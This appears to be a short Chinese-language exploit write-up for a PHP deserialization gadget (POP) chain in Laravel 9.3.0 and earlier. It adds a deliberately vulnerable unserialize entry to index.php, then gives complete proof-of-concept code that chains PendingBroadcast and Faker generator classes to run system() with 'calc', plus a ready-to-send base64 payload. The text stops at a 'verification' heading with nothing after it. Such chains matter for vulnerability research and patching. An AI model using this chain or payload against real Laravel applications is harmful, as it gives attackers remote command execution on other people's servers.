Laravel 9.3.0 and before POP chain

[ks192]

在public的index中写入反序列化的入口

<?php
use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;
define('LARAVEL_START', microtime(true));
if (file_exists($maintenance = __DIR__ . '/../storage/framework/maintenance.php')) {
    require $maintenance;
}
require __DIR__ . '/../vendor/autoload.php';
$app = require_once __DIR__ . '/../bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
    $request = Request::capture()
)->send();
$kernel->terminate($request, $response);
/*
* Add an entry to the deserialization vulnerability here
*/
unserialize(base64_decode($_POST[1]));

POC

<?php
namespace Illuminate\Broadcasting {
    use Faker\ValidGenerator;
    class PendingBroadcast
    {   protected $events;
        public function __construct()
        {
            $this->events =new ValidGenerator();
        }
    }
}
namespace Faker{
    class ValidGenerator
    {   protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct()
        {   $this->generator=new DefaultGenerator();
            $this->validator='system';//使用的函数
            $this->maxRetries=1;
        }
    }
    class DefaultGenerator
    {   protected $default;
        public function __construct()
        {
            $this->default='calc';//执行的参数
        }
    }
}
namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    $a = new PendingBroadcast();
    echo base64_encode(serialize($a));
}
?>

payload：

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6NDoiY2FsYyI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fQ==

验证：